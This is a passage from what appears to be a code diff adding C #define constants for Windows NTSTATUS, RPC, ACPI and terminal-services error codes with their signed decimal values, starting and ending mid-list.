STATUS_BYPASSIO_FLT_NOT_SUPPORTED -1073740590 +#define STATUS_VOLUME_WRITE_ACCESS_DENIED -1073740589 +#define STATUS_PATCH_NOT_REGISTERED -1073740588 +#define STATUS_NOT_SUPPORTED_WITH_CACHED_HANDLE -1073740587 +#define STATUS_PDE_ENCRYPTION_UNAVAILABLE_FAILURE -1073740586 +#define STATUS_PDE_DECRYPTION_UNAVAILABLE_FAILURE -1073740585 +#define STATUS_PDE_DECRYPTION_UNAVAILABLE -1073740584 +#define STATUS_VOLUME_UPGRADE_NOT_NEEDED 1073743065 +#define STATUS_VOLUME_UPGRADE_PENDING 1073743066 +#define STATUS_VOLUME_UPGRADE_DISABLED -1073740581 +#define STATUS_VOLUME_UPGRADE_DISABLED_TILL_OS_DOWNGRADE_EXPIRED -1073740580 +#define STATUS_NOT_A_DEV_VOLUME -1073740579 +#define STATUS_FS_GUID_MISMATCH -1073740578 +#define STATUS_CANT_ATTACH_TO_DEV_VOLUME -1073740577 +#define STATUS_MEMORY_DECOMPRESSION_FAILURE -1073740576 +#define STATUS_INVALID_CONFIG_VALUE -1073740575 +#define STATUS_MEMORY_DECOMPRESSION_HW_ERROR -1073740574 +#define STATUS_VOLUME_ROLLBACK_DETECTED -1073740573 +#define STATUS_INVALID_TASK_NAME -1073740544 +#define STATUS_INVALID_TASK_INDEX -1073740543 +#define STATUS_THREAD_ALREADY_IN_TASK -1073740542 +#define STATUS_CALLBACK_BYPASS -1073740541 +#define STATUS_UNDEFINED_SCOPE -1073740540 +#define STATUS_INVALID_CAP -1073740539 +#define STATUS_NOT_GUI_PROCESS -1073740538 +#define STATUS_DEVICE_HUNG -1073740537 +#define STATUS_CONTAINER_ASSIGNED -1073740536 +#define STATUS_JOB_NO_CONTAINER -1073740535 +#define STATUS_DEVICE_UNRESPONSIVE -1073740534 +#define STATUS_REPARSE_POINT_ENCOUNTERED -1073740533 +#define STATUS_ATTRIBUTE_NOT_PRESENT -1073740532 +#define STATUS_NOT_A_TIERED_VOLUME -1073740531 +#define STATUS_ALREADY_HAS_STREAM_ID -1073740530 +#define STATUS_JOB_NOT_EMPTY -1073740529 +#define STATUS_ALREADY_INITIALIZED -1073740528 +#define STATUS_ENCLAVE_NOT_TERMINATED -1073740527 +#define STATUS_ENCLAVE_IS_TERMINATING -1073740526 +#define STATUS_SMB1_NOT_AVAILABLE -1073740525 +#define STATUS_SMR_GARBAGE_COLLECTION_REQUIRED -1073740524 +#define STATUS_INTERRUPTED -1073740523 +#define STATUS_THREAD_NOT_RUNNING -1073740522 +#define STATUS_SESSION_KEY_TOO_SHORT -1073740521 +#define STATUS_FS_METADATA_INCONSISTENT -1073740520 +#define STATUS_FAIL_FAST_EXCEPTION -1073740286 +#define STATUS_IMAGE_CERT_REVOKED -1073740285 +#define STATUS_DYNAMIC_CODE_BLOCKED -1073740284 +#define STATUS_IMAGE_CERT_EXPIRED -1073740283 +#define STATUS_STRICT_CFG_VIOLATION -1073740282 +#define STATUS_SET_CONTEXT_DENIED -1073740278 +#define STATUS_CROSS_PARTITION_VIOLATION -1073740277 +#define STATUS_PORT_CLOSED -1073740032 +#define STATUS_MESSAGE_LOST -1073740031 +#define STATUS_INVALID_MESSAGE -1073740030 +#define STATUS_REQUEST_CANCELED -1073740029 +#define STATUS_RECURSIVE_DISPATCH -1073740028 +#define STATUS_LPC_RECEIVE_BUFFER_EXPECTED -1073740027 +#define STATUS_LPC_INVALID_CONNECTION_USAGE -1073740026 +#define STATUS_LPC_REQUESTS_NOT_ALLOWED -1073740025 +#define STATUS_RESOURCE_IN_USE -1073740024 +#define STATUS_HARDWARE_MEMORY_ERROR -1073740023 +#define STATUS_THREADPOOL_HANDLE_EXCEPTION -1073740022 +#define STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED -1073740021 +#define STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED -1073740020 +#define STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED -1073740019 +#define STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED -1073740018 +#define STATUS_THREADPOOL_RELEASED_DURING_OPERATION -1073740017 +#define STATUS_CALLBACK_RETURNED_WHILE_IMPERSONATING -1073740016 +#define STATUS_APC_RETURNED_WHILE_IMPERSONATING -1073740015 +#define STATUS_PROCESS_IS_PROTECTED -1073740014 +#define STATUS_MCA_EXCEPTION -1073740013 +#define STATUS_CERTIFICATE_MAPPING_NOT_UNIQUE -1073740012 +#define STATUS_SYMLINK_CLASS_DISABLED -1073740011 +#define STATUS_INVALID_IDN_NORMALIZATION -1073740010 +#define STATUS_NO_UNICODE_TRANSLATION -1073740009 +#define STATUS_ALREADY_REGISTERED -1073740008 +#define STATUS_CONTEXT_MISMATCH -1073740007 +#define STATUS_PORT_ALREADY_HAS_COMPLETION_LIST -1073740006 +#define STATUS_CALLBACK_RETURNED_THREAD_PRIORITY -1073740005 +#define STATUS_INVALID_THREAD -1073740004 +#define STATUS_CALLBACK_RETURNED_TRANSACTION -1073740003 +#define STATUS_CALLBACK_RETURNED_LDR_LOCK -1073740002 +#define STATUS_CALLBACK_RETURNED_LANG -1073740001 +#define STATUS_CALLBACK_RETURNED_PRI_BACK -1073740000 +#define STATUS_CALLBACK_RETURNED_THREAD_AFFINITY -1073739999 +#define STATUS_LPC_HANDLE_COUNT_EXCEEDED -1073739998 +#define STATUS_EXECUTABLE_MEMORY_WRITE -1073739997 +#define STATUS_KERNEL_EXECUTABLE_MEMORY_WRITE -1073739996 +#define STATUS_ATTACHED_EXECUTABLE_MEMORY_WRITE -1073739995 +#define STATUS_TRIGGERED_EXECUTABLE_MEMORY_WRITE -1073739994 +#define STATUS_DISK_REPAIR_DISABLED -1073739776 +#define STATUS_DS_DOMAIN_RENAME_IN_PROGRESS -1073739775 +#define STATUS_DISK_QUOTA_EXCEEDED -1073739774 +#define STATUS_DATA_LOST_REPAIR -2147481597 +#define STATUS_CONTENT_BLOCKED -1073739772 +#define STATUS_BAD_CLUSTERS -1073739771 +#define STATUS_VOLUME_DIRTY -1073739770 +#define STATUS_DISK_REPAIR_REDIRECTED 1073743879 +#define STATUS_DISK_REPAIR_UNSUCCESSFUL -1073739768 +#define STATUS_CORRUPT_LOG_OVERFULL -1073739767 +#define STATUS_CORRUPT_LOG_CORRUPTED -1073739766 +#define STATUS_CORRUPT_LOG_UNAVAILABLE -1073739765 +#define STATUS_CORRUPT_LOG_DELETED_FULL -1073739764 +#define STATUS_CORRUPT_LOG_CLEARED -1073739763 +#define STATUS_ORPHAN_NAME_EXHAUSTED -1073739762 +#define STATUS_PROACTIVE_SCAN_IN_PROGRESS -1073739761 +#define STATUS_ENCRYPTED_IO_NOT_POSSIBLE -1073739760 +#define STATUS_CORRUPT_LOG_UPLEVEL_RECORDS -1073739759 +#define STATUS_FILE_CHECKED_OUT -1073739519 +#define STATUS_CHECKOUT_REQUIRED -1073739518 +#define STATUS_BAD_FILE_TYPE -1073739517 +#define STATUS_FILE_TOO_LARGE -1073739516 +#define STATUS_FORMS_AUTH_REQUIRED -1073739515 +#define STATUS_VIRUS_INFECTED -1073739514 +#define STATUS_VIRUS_DELETED -1073739513 +#define STATUS_BAD_MCFG_TABLE -1073739512 +#define STATUS_CANNOT_BREAK_OPLOCK -1073739511 +#define STATUS_BAD_KEY -1073739510 +#define STATUS_BAD_DATA -1073739509 +#define STATUS_NO_KEY -1073739508 +#define STATUS_FILE_HANDLE_REVOKED -1073739504 +#define STATUS_SECTION_DIRECT_MAP_ONLY -1073739503 +#define STATUS_BLOCK_WEAK_REFERENCE_INVALID -1073739502 +#define STATUS_BLOCK_SOURCE_WEAK_REFERENCE_INVALID -1073739501 +#define STATUS_BLOCK_TARGET_WEAK_REFERENCE_INVALID -1073739500 +#define STATUS_BLOCK_SHARED -1073739499 +#define STATUS_SYSTEM_FILE_NOT_SUPPORTED -1073739498 +#define STATUS_VRF_VOLATILE_CFG_AND_IO_ENABLED -1073738744 +#define STATUS_VRF_VOLATILE_NOT_STOPPABLE -1073738743 +#define STATUS_VRF_VOLATILE_SAFE_MODE -1073738742 +#define STATUS_VRF_VOLATILE_NOT_RUNNABLE_SYSTEM -1073738741 +#define STATUS_VRF_VOLATILE_NOT_SUPPORTED_RULECLASS -1073738740 +#define STATUS_VRF_VOLATILE_PROTECTED_DRIVER -1073738739 +#define STATUS_VRF_VOLATILE_NMI_REGISTERED -1073738738 +#define STATUS_VRF_VOLATILE_SETTINGS_CONFLICT -1073738737 +#define STATUS_CAR_LKD_IN_PROGRESS -1073738736 +#define STATUS_DIF_ZERO_SIZE_INFORMATION -1073738637 +#define STATUS_DIF_DRIVER_PLUGIN_MISMATCH -1073738636 +#define STATUS_DIF_DRIVER_THUNKS_NOT_ALLOWED -1073738635 +#define STATUS_DIF_IOCALLBACK_NOT_REPLACED -1073738634 +#define STATUS_DIF_LIVEDUMP_LIMIT_EXCEEDED -1073738633 +#define STATUS_DIF_VOLATILE_SECTION_NOT_LOCKED -1073738632 +#define STATUS_DIF_VOLATILE_DRIVER_HOTPATCHED -1073738631 +#define STATUS_DIF_VOLATILE_INVALID_INFO -1073738630 +#define STATUS_DIF_VOLATILE_DRIVER_IS_NOT_RUNNING -1073738629 +#define STATUS_DIF_VOLATILE_PLUGIN_IS_NOT_RUNNING -1073738628 +#define STATUS_DIF_VOLATILE_PLUGIN_CHANGE_NOT_ALLOWED -1073738627 +#define STATUS_DIF_VOLATILE_NOT_ALLOWED -1073738626 +#define STATUS_DIF_BINDING_API_NOT_FOUND -1073738625 +#define STATUS_WOW_ASSERTION -1073702760 +#define STATUS_INVALID_SIGNATURE -1073700864 +#define STATUS_HMAC_NOT_SUPPORTED -1073700863 +#define STATUS_AUTH_TAG_MISMATCH -1073700862 +#define STATUS_INVALID_STATE_TRANSITION -1073700861 +#define STATUS_INVALID_KERNEL_INFO_VERSION -1073700860 +#define STATUS_INVALID_PEP_INFO_VERSION -1073700859 +#define STATUS_HANDLE_REVOKED -1073700858 +#define STATUS_EOF_ON_GHOSTED_RANGE -1073700857 +#define STATUS_CC_NEEDS_CALLBACK_SECTION_DRAIN -1073700856 +#define STATUS_IPSEC_QUEUE_OVERFLOW -1073700848 +#define STATUS_ND_QUEUE_OVERFLOW -1073700847 +#define STATUS_HOPLIMIT_EXCEEDED -1073700846 +#define STATUS_PROTOCOL_NOT_SUPPORTED -1073700845 +#define STATUS_FASTPATH_REJECTED -1073700844 +#define STATUS_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED -1073700736 +#define STATUS_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR -1073700735 +#define STATUS_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR -1073700734 +#define STATUS_XML_PARSE_ERROR -1073700733 +#define STATUS_XMLDSIG_ERROR -1073700732 +#define STATUS_WRONG_COMPARTMENT -1073700731 +#define STATUS_AUTHIP_FAILURE -1073700730 +#define STATUS_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS -1073700729 +#define STATUS_DS_OID_NOT_FOUND -1073700728 +#define STATUS_INCORRECT_ACCOUNT_TYPE -1073700727 +#define STATUS_LOCAL_POLICY_MODIFICATION_NOT_SUPPORTED -1073700726 +#define STATUS_POLICY_CONTROLLED_ACCOUNT -1073700725 +#define STATUS_LAPS_LEGACY_SCHEMA_MISSING -1073700724 +#define STATUS_LAPS_SCHEMA_MISSING -1073700723 +#define STATUS_LAPS_ENCRYPTION_REQUIRES_2016_DFL -1073700722 +#define STATUS_LAPS_PROCESS_TERMINATED -2147442545 +#define STATUS_DS_JET_RECORD_TOO_BIG -1073700720 +#define STATUS_DS_REPLICA_PAGE_SIZE_MISMATCH -1073700719 +#define STATUS_HASH_NOT_SUPPORTED -1073700608 +#define STATUS_HASH_NOT_PRESENT -1073700607 +#define STATUS_SECONDARY_IC_PROVIDER_NOT_REGISTERED -1073700575 +#define STATUS_GPIO_CLIENT_INFORMATION_INVALID -1073700574 +#define STATUS_GPIO_VERSION_NOT_SUPPORTED -1073700573 +#define STATUS_GPIO_INVALID_REGISTRATION_PACKET -1073700572 +#define STATUS_GPIO_OPERATION_DENIED -1073700571 +#define STATUS_GPIO_INCOMPATIBLE_CONNECT_MODE -1073700570 +#define STATUS_GPIO_INTERRUPT_ALREADY_UNMASKED -2147442393 +#define STATUS_CANNOT_SWITCH_RUNLEVEL -1073700543 +#define STATUS_INVALID_RUNLEVEL_SETTING -1073700542 +#define STATUS_RUNLEVEL_SWITCH_TIMEOUT -1073700541 +#define STATUS_SERVICES_FAILED_AUTOSTART 1073783108 +#define STATUS_RUNLEVEL_SWITCH_AGENT_TIMEOUT -1073700539 +#define STATUS_RUNLEVEL_SWITCH_IN_PROGRESS -1073700538 +#define STATUS_APISET_COMPOSE_FAILURE -1073700511 +#define STATUS_APISET_SCHEMA_VERSION_NOT_SUPPORTED -1073700510 +#define STATUS_NOT_APPCONTAINER -1073700352 +#define STATUS_NOT_SUPPORTED_IN_APPCONTAINER -1073700351 +#define STATUS_INVALID_PACKAGE_SID_LENGTH -1073700350 +#define STATUS_LPAC_ACCESS_DENIED -1073700349 +#define STATUS_ADMINLESS_ACCESS_DENIED -1073700348 +#define STATUS_APP_DATA_NOT_FOUND -1073700223 +#define STATUS_APP_DATA_EXPIRED -1073700222 +#define STATUS_APP_DATA_CORRUPT -1073700221 +#define STATUS_APP_DATA_LIMIT_EXCEEDED -1073700220 +#define STATUS_APP_DATA_REBOOT_REQUIRED -1073700219 +#define STATUS_OFFLOAD_READ_FLT_NOT_SUPPORTED -1073700191 +#define STATUS_OFFLOAD_WRITE_FLT_NOT_SUPPORTED -1073700190 +#define STATUS_OFFLOAD_READ_FILE_NOT_SUPPORTED -1073700189 +#define STATUS_OFFLOAD_WRITE_FILE_NOT_SUPPORTED -1073700188 +#define STATUS_WOF_WIM_HEADER_CORRUPT -1073700187 +#define STATUS_WOF_WIM_RESOURCE_TABLE_CORRUPT -1073700186 +#define STATUS_WOF_FILE_RESOURCE_TABLE_CORRUPT -1073700185 +#define STATUS_CIMFS_IMAGE_CORRUPT -1073692671 +#define STATUS_CIMFS_IMAGE_VERSION_NOT_SUPPORTED -1073692670 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_UNAVAILABLE -1073689087 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_METADATA_CORRUPT -1073689086 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_BUSY -1073689085 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_PROVIDER_UNKNOWN -1073689084 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_INVALID_OPERATION -1073689083 +#define STATUS_CLOUD_FILE_SYNC_ROOT_METADATA_CORRUPT -1073688832 +#define STATUS_CLOUD_FILE_PROVIDER_NOT_RUNNING -1073688831 +#define STATUS_CLOUD_FILE_METADATA_CORRUPT -1073688830 +#define STATUS_CLOUD_FILE_METADATA_TOO_LARGE -1073688829 +#define STATUS_CLOUD_FILE_PROPERTY_BLOB_TOO_LARGE -2147430652 +#define STATUS_CLOUD_FILE_TOO_MANY_PROPERTY_BLOBS -2147430651 +#define STATUS_CLOUD_FILE_PROPERTY_VERSION_NOT_SUPPORTED -1073688826 +#define STATUS_NOT_A_CLOUD_FILE -1073688825 +#define STATUS_CLOUD_FILE_NOT_IN_SYNC -1073688824 +#define STATUS_CLOUD_FILE_ALREADY_CONNECTED -1073688823 +#define STATUS_CLOUD_FILE_NOT_SUPPORTED -1073688822 +#define STATUS_CLOUD_FILE_INVALID_REQUEST -1073688821 +#define STATUS_CLOUD_FILE_READ_ONLY_VOLUME -1073688820 +#define STATUS_CLOUD_FILE_CONNECTED_PROVIDER_ONLY -1073688819 +#define STATUS_CLOUD_FILE_VALIDATION_FAILED -1073688818 +#define STATUS_CLOUD_FILE_AUTHENTICATION_FAILED -1073688817 +#define STATUS_CLOUD_FILE_INSUFFICIENT_RESOURCES -1073688816 +#define STATUS_CLOUD_FILE_NETWORK_UNAVAILABLE -1073688815 +#define STATUS_CLOUD_FILE_UNSUCCESSFUL -1073688814 +#define STATUS_CLOUD_FILE_NOT_UNDER_SYNC_ROOT -1073688813 +#define STATUS_CLOUD_FILE_IN_USE -1073688812 +#define STATUS_CLOUD_FILE_PINNED -1073688811 +#define STATUS_CLOUD_FILE_REQUEST_ABORTED -1073688810 +#define STATUS_CLOUD_FILE_PROPERTY_CORRUPT -1073688809 +#define STATUS_CLOUD_FILE_ACCESS_DENIED -1073688808 +#define STATUS_CLOUD_FILE_INCOMPATIBLE_HARDLINKS -1073688807 +#define STATUS_CLOUD_FILE_PROPERTY_LOCK_CONFLICT -1073688806 +#define STATUS_CLOUD_FILE_REQUEST_CANCELED -1073688805 +#define STATUS_CLOUD_FILE_PROVIDER_TERMINATED -1073688803 +#define STATUS_NOT_A_CLOUD_SYNC_ROOT -1073688802 +#define STATUS_CLOUD_FILE_REQUEST_TIMEOUT -1073688801 +#define STATUS_CLOUD_FILE_DEHYDRATION_DISALLOWED -1073688800 +#define STATUS_CLOUD_FILE_US_MESSAGE_TIMEOUT -1073688799 +#define STATUS_CLOUD_FILE_HYDRATION_NOT_AVAILABLE -1073688798 +#define STATUS_FILE_SNAP_IN_PROGRESS -1073679104 +#define STATUS_FILE_SNAP_USER_SECTION_NOT_SUPPORTED -1073679103 +#define STATUS_FILE_SNAP_MODIFY_NOT_SUPPORTED -1073679102 +#define STATUS_FILE_SNAP_IO_NOT_COORDINATED -1073679101 +#define STATUS_FILE_SNAP_UNEXPECTED_ERROR -1073679100 +#define STATUS_FILE_SNAP_INVALID_PARAMETER -1073679099 +#define STATUS_UNIONFS_CANNOT_CROSS_UNION -1058209791 +#define STATUS_UNIONFS_CANNOT_EXIT_UNION -1058209790 +#define STATUS_UNIONFS_CANNOT_PRESERVE_LINK -1058209789 +#define STATUS_UNIONFS_INVALID_TOMBSTONE_STATE -1058209788 +#define STATUS_UNIONFS_LAYERS_PRESENT -1058209787 +#define STATUS_UNIONFS_NESTED_LAYER -1058209786 +#define STATUS_UNIONFS_UNION_DUPLICATE_ID -1058209785 +#define STATUS_UNIONFS_INACTIVE_UNION -1058209784 +#define STATUS_UNIONFS_TOO_MANY_LAYERS -1058209783 +#define STATUS_UNIONFS_TOO_LATE -1058209782 +#define STATUS_UNIONFS_NESTED_UNION -1058209781 +#define STATUS_UNIONFS_NESTED_UNION_NOT_ALLOWED -1058209780 +#define DBG_NO_STATE_CHANGE -1073676287 +#define DBG_APP_NOT_IDLE -1073676286 +#define RPC_NT_INVALID_STRING_BINDING -1073610751 +#define RPC_NT_WRONG_KIND_OF_BINDING -1073610750 +#define RPC_NT_INVALID_BINDING -1073610749 +#define RPC_NT_PROTSEQ_NOT_SUPPORTED -1073610748 +#define RPC_NT_INVALID_RPC_PROTSEQ -1073610747 +#define RPC_NT_INVALID_STRING_UUID -1073610746 +#define RPC_NT_INVALID_ENDPOINT_FORMAT -1073610745 +#define RPC_NT_INVALID_NET_ADDR -1073610744 +#define RPC_NT_NO_ENDPOINT_FOUND -1073610743 +#define RPC_NT_INVALID_TIMEOUT -1073610742 +#define RPC_NT_OBJECT_NOT_FOUND -1073610741 +#define RPC_NT_ALREADY_REGISTERED -1073610740 +#define RPC_NT_TYPE_ALREADY_REGISTERED -1073610739 +#define RPC_NT_ALREADY_LISTENING -1073610738 +#define RPC_NT_NO_PROTSEQS_REGISTERED -1073610737 +#define RPC_NT_NOT_LISTENING -1073610736 +#define RPC_NT_UNKNOWN_MGR_TYPE -1073610735 +#define RPC_NT_UNKNOWN_IF -1073610734 +#define RPC_NT_NO_BINDINGS -1073610733 +#define RPC_NT_NO_PROTSEQS -1073610732 +#define RPC_NT_CANT_CREATE_ENDPOINT -1073610731 +#define RPC_NT_OUT_OF_RESOURCES -1073610730 +#define RPC_NT_SERVER_UNAVAILABLE -1073610729 +#define RPC_NT_SERVER_TOO_BUSY -1073610728 +#define RPC_NT_INVALID_NETWORK_OPTIONS -1073610727 +#define RPC_NT_NO_CALL_ACTIVE -1073610726 +#define RPC_NT_CALL_FAILED -1073610725 +#define RPC_NT_CALL_FAILED_DNE -1073610724 +#define RPC_NT_PROTOCOL_ERROR -1073610723 +#define RPC_NT_UNSUPPORTED_TRANS_SYN -1073610721 +#define RPC_NT_UNSUPPORTED_TYPE -1073610719 +#define RPC_NT_INVALID_TAG -1073610718 +#define RPC_NT_INVALID_BOUND -1073610717 +#define RPC_NT_NO_ENTRY_NAME -1073610716 +#define RPC_NT_INVALID_NAME_SYNTAX -1073610715 +#define RPC_NT_UNSUPPORTED_NAME_SYNTAX -1073610714 +#define RPC_NT_UUID_NO_ADDRESS -1073610712 +#define RPC_NT_DUPLICATE_ENDPOINT -1073610711 +#define RPC_NT_UNKNOWN_AUTHN_TYPE -1073610710 +#define RPC_NT_MAX_CALLS_TOO_SMALL -1073610709 +#define RPC_NT_STRING_TOO_LONG -1073610708 +#define RPC_NT_PROTSEQ_NOT_FOUND -1073610707 +#define RPC_NT_PROCNUM_OUT_OF_RANGE -1073610706 +#define RPC_NT_BINDING_HAS_NO_AUTH -1073610705 +#define RPC_NT_UNKNOWN_AUTHN_SERVICE -1073610704 +#define RPC_NT_UNKNOWN_AUTHN_LEVEL -1073610703 +#define RPC_NT_INVALID_AUTH_IDENTITY -1073610702 +#define RPC_NT_UNKNOWN_AUTHZ_SERVICE -1073610701 +#define EPT_NT_INVALID_ENTRY -1073610700 +#define EPT_NT_CANT_PERFORM_OP -1073610699 +#define EPT_NT_NOT_REGISTERED -1073610698 +#define RPC_NT_NOTHING_TO_EXPORT -1073610697 +#define RPC_NT_INCOMPLETE_NAME -1073610696 +#define RPC_NT_INVALID_VERS_OPTION -1073610695 +#define RPC_NT_NO_MORE_MEMBERS -1073610694 +#define RPC_NT_NOT_ALL_OBJS_UNEXPORTED -1073610693 +#define RPC_NT_INTERFACE_NOT_FOUND -1073610692 +#define RPC_NT_ENTRY_ALREADY_EXISTS -1073610691 +#define RPC_NT_ENTRY_NOT_FOUND -1073610690 +#define RPC_NT_NAME_SERVICE_UNAVAILABLE -1073610689 +#define RPC_NT_INVALID_NAF_ID -1073610688 +#define RPC_NT_CANNOT_SUPPORT -1073610687 +#define RPC_NT_NO_CONTEXT_AVAILABLE -1073610686 +#define RPC_NT_INTERNAL_ERROR -1073610685 +#define RPC_NT_ZERO_DIVIDE -1073610684 +#define RPC_NT_ADDRESS_ERROR -1073610683 +#define RPC_NT_FP_DIV_ZERO -1073610682 +#define RPC_NT_FP_UNDERFLOW -1073610681 +#define RPC_NT_FP_OVERFLOW -1073610680 +#define RPC_NT_NO_MORE_ENTRIES -1073545215 +#define RPC_NT_SS_CHAR_TRANS_OPEN_FAIL -1073545214 +#define RPC_NT_SS_CHAR_TRANS_SHORT_FILE -1073545213 +#define RPC_NT_SS_IN_NULL_CONTEXT -1073545212 +#define RPC_NT_SS_CONTEXT_MISMATCH -1073545211 +#define RPC_NT_SS_CONTEXT_DAMAGED -1073545210 +#define RPC_NT_SS_HANDLES_MISMATCH -1073545209 +#define RPC_NT_SS_CANNOT_GET_CALL_HANDLE -1073545208 +#define RPC_NT_NULL_REF_POINTER -1073545207 +#define RPC_NT_ENUM_VALUE_OUT_OF_RANGE -1073545206 +#define RPC_NT_BYTE_COUNT_TOO_SMALL -1073545205 +#define RPC_NT_BAD_STUB_DATA -1073545204 +#define RPC_NT_CALL_IN_PROGRESS -1073610679 +#define RPC_NT_NO_MORE_BINDINGS -1073610678 +#define RPC_NT_GROUP_MEMBER_NOT_FOUND -1073610677 +#define EPT_NT_CANT_CREATE -1073610676 +#define RPC_NT_INVALID_OBJECT -1073610675 +#define RPC_NT_NO_INTERFACES -1073610673 +#define RPC_NT_CALL_CANCELLED -1073610672 +#define RPC_NT_BINDING_INCOMPLETE -1073610671 +#define RPC_NT_COMM_FAILURE -1073610670 +#define RPC_NT_UNSUPPORTED_AUTHN_LEVEL -1073610669 +#define RPC_NT_NO_PRINC_NAME -1073610668 +#define RPC_NT_NOT_RPC_ERROR -1073610667 +#define RPC_NT_UUID_LOCAL_ONLY 1073872982 +#define RPC_NT_SEC_PKG_ERROR -1073610665 +#define RPC_NT_NOT_CANCELLED -1073610664 +#define RPC_NT_INVALID_ES_ACTION -1073545127 +#define RPC_NT_WRONG_ES_VERSION -1073545126 +#define RPC_NT_WRONG_STUB_VERSION -1073545125 +#define RPC_NT_INVALID_PIPE_OBJECT -1073545124 +#define RPC_NT_INVALID_PIPE_OPERATION -1073545123 +#define RPC_NT_WRONG_PIPE_VERSION -1073545122 +#define RPC_NT_PIPE_CLOSED -1073545121 +#define RPC_NT_PIPE_DISCIPLINE_ERROR -1073545120 +#define RPC_NT_PIPE_EMPTY -1073545119 +#define RPC_NT_INVALID_ASYNC_HANDLE -1073610654 +#define RPC_NT_INVALID_ASYNC_CALL -1073610653 +#define RPC_NT_PROXY_ACCESS_DENIED -1073610652 +#define RPC_NT_COOKIE_AUTH_FAILED -1073610651 +#define RPC_NT_SEND_INCOMPLETE 1073873071 +#define STATUS_ACPI_INVALID_OPCODE -1072431103 +#define STATUS_ACPI_STACK_OVERFLOW -1072431102 +#define STATUS_ACPI_ASSERT_FAILED -1072431101 +#define STATUS_ACPI_INVALID_INDEX -1072431100 +#define STATUS_ACPI_INVALID_ARGUMENT -1072431099 +#define STATUS_ACPI_FATAL -1072431098 +#define STATUS_ACPI_INVALID_SUPERNAME -1072431097 +#define STATUS_ACPI_INVALID_ARGTYPE -1072431096 +#define STATUS_ACPI_INVALID_OBJTYPE -1072431095 +#define STATUS_ACPI_INVALID_TARGETTYPE -1072431094 +#define STATUS_ACPI_INCORRECT_ARGUMENT_COUNT -1072431093 +#define STATUS_ACPI_ADDRESS_NOT_MAPPED -1072431092 +#define STATUS_ACPI_INVALID_EVENTTYPE -1072431091 +#define STATUS_ACPI_HANDLER_COLLISION -1072431090 +#define STATUS_ACPI_INVALID_DATA -1072431089 +#define STATUS_ACPI_INVALID_REGION -1072431088 +#define STATUS_ACPI_INVALID_ACCESS_SIZE -1072431087 +#define STATUS_ACPI_ACQUIRE_GLOBAL_LOCK -1072431086 +#define STATUS_ACPI_ALREADY_INITIALIZED -1072431085 +#define STATUS_ACPI_NOT_INITIALIZED -1072431084 +#define STATUS_ACPI_INVALID_MUTEX_LEVEL -1072431083 +#define STATUS_ACPI_MUTEX_NOT_OWNED -1072431082 +#define STATUS_ACPI_MUTEX_NOT_OWNER -1072431081 +#define STATUS_ACPI_RS_ACCESS -1072431080 +#define STATUS_ACPI_INVALID_TABLE -1072431079 +#define STATUS_ACPI_REG_HANDLER_FAILED -1072431072 +#define STATUS_ACPI_POWER_REQUEST_FAILED -1072431071 +#define STATUS_CTX_WINSTATION_NAME_INVALID -1073086463 +#define STATUS_CTX_INVALID_PD -1073086462 +#define STATUS_CTX_PD_NOT_FOUND -1073086461 +#define STATUS_CTX_CDM_CONNECT 1074397188 +#define STATUS_CTX_CDM_DISCONNECT 1074397189 +#define STATUS_CTX_CLOSE_PENDING -1073086458 +#define STATUS_CTX_NO_OUTBUF -1073086457 +#define STATUS_CTX_MODEM_INF_NOT_FOUND -1073086456 +#define STATUS_CTX_INVALID_MODEMNAME -1073086455 +#define STATUS_CTX_RESPONSE_ERROR -1073086454 +#define STATUS_CTX_MODEM_RESPONSE_TIMEOUT -1073086453 +#define STATUS_CTX_MODEM_RESPONSE_NO_CARRIER -1073086452 +#define STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE -1073086451 +#define STATUS_CTX_MODEM_RESPONSE_BUSY -1073086450 +#define STATUS_CTX_MODEM_RESPONSE_VOICE -1073086449 +#define STATUS_CTX_TD_ERROR -1073086448 +#define STATUS_CTX_LICENSE_CLIENT_INVALID -1073086446 +#define STATUS_CTX_LICENSE_NOT_AVAILABLE -1073086445 +#define STATUS_CTX_LICENSE_EXPIRED -1073086444 +#define STATUS_CTX_WINSTATION_NOT_FOUND -1073086443 +#define STATUS_CTX_WINSTATION_NAME_COLLISION -1073086442 +#define STATUS_CTX_WINSTATION_BUSY -1073086441 +#define STATUS_CTX_BAD_VIDEO_MODE -1073086440 +#define STATUS_CTX_GRAPHICS_INVALID -1073086430 +#define STATUS_CTX_NOT_CONSOLE -1073086428 +#define STATUS_CTX_CLIENT_QUERY_TIMEOUT -1073086426 +#define STATUS_CTX_CONSOLE_DISCONNECT -1073086425 +#define STATUS_CTX_CONSOLE_CONNECT -1073086424 +#define STATUS_CTX_SHADOW_DENIED -1073086422 +#define STATUS_CTX_WINSTATION_ACCESS_DENIED -1073086421 +#define STATUS_CTX_INVALID_WD -1073086418 +#define STATUS_CTX_WD_NOT_FOUND -1073086417 +#define STATUS_CTX_SHADOW_INVALID -1073086416 +#define STATUS_CTX_SHADOW_DISABLED -1073086415 +#define STATUS_RDP_PROTOCOL_ERROR -1073086414 +#define STATUS_CTX_CLIENT_LICENSE_NOT_SET -1073086413 +#define STATUS_CTX_CLIENT_LICENSE_IN_USE -1073086412 +#define STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE -1073086411 +#define STATUS_CTX_SHADOW_NOT_RUNNING -1073086410 +#define STATUS_CTX_LOGON_DISABLED -1073086409 +#define STATUS_CTX_SECURITY_LAYER_ERROR -1073086408 +#define STATUS_TS_INCOMPATIBLE_SESSIONS -1073086407 +#define STATUS_TS_VIDEO_SUBSYSTEM_ERROR -1073086406 +#define STATUS_PNP_BAD_MPS_TABLE -1073479627 +#define STATUS_PNP_TRANSLATION_FAILED -1073479626 +#define STATUS_PNP_IRQ_TRANSLATION_FAILED -1073479625 +#define STATUS_PNP_INVALID_ID -1073479624 +#define 